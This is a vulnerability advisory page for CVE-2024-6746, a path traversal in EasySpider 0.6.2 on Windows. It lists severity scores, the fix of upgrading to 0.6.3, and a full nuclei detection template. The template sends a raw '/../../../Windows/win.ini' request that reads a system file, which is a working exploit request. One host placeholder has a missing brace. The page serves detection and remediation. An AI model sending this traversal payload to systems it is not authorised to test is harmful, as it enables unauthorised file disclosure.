EasySpider 0.6.2 - Arbitrary File Read

mediumseverity

4.3CVSS score

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

A vulnerability classified as problematic was found in NaiboWang EasySpider 0.6.2 on Windows. Affected by this vulnerability is an unknown functionality of the file \EasySpider\resources\app\server.js of the component HTTP GET Request Handler. The manipulation with the input /../../../../../../../../../Windows/win.ini leads to path traversal: '../filedir'. The attack needs to be done within the local network.

Impact

Attackers on the local network can exploit path traversal to read arbitrary files from the Windows filesystem.

Fix

Update EasySpider to version 0.6.3 or later to address the path traversal vulnerability.

How to confirm it

Send: GET /taskGrid/tasklist.html
Positive when: contains_all(body,"Task List","Task ID","Task Name","URL","<title>任务列表 | Task List</title>") and status_code == 200
Send: GET /../../../../../../../../../Windows/win.ini
Positive when: contains_all(body,"bit app support","fonts","extensions") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-6746 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-6746

info:
  name: EasySpider 0.6.2 - Arbitrary File Read
  author: s4e-io
  severity: medium
  description: |
    A vulnerability classified as problematic was found in NaiboWang EasySpider 0.6.2 on Windows. Affected by this vulnerability is an unknown functionality of the file \EasySpider\resources\app\server.js of the component HTTP GET Request Handler. The manipulation with the input /../../../../../../../../../Windows/win.ini leads to path traversal: '../filedir'. The attack needs to be done within the local network.
  impact: |
    Attackers on the local network can exploit path traversal to read arbitrary files from the Windows filesystem.
  remediation: |
    Update EasySpider to version 0.6.3 or later to address the path traversal vulnerability.
  reference:
    - https://github.com/NaiboWang/EasySpider/issues/466
    - https://cvefeed.io/vuln/detail/CVE-2024-6746
    - https://vuldb.com/?id.271477
    - https://vuldb.com/?submit.371998
    - https://vuldb.com/?ctiid.271477
    - https://github.com/NaiboWang/EasySpider
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2024-6746
    cwe-id: CWE-24
    epss-score: 0.03305
    epss-percentile: 0.88641
  metadata:
    vendor: naibowang
    product: easyspider
  tags: cve,cve2024,lfi,network,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /taskGrid/tasklist.html HTTP/1.1
        Host: {{Hostname}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"Task List","Task ID","Task Name","URL","<title>任务列表 | Task List</title>")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /../../../../../../../../../Windows/win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"bit app support","fonts","extensions")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from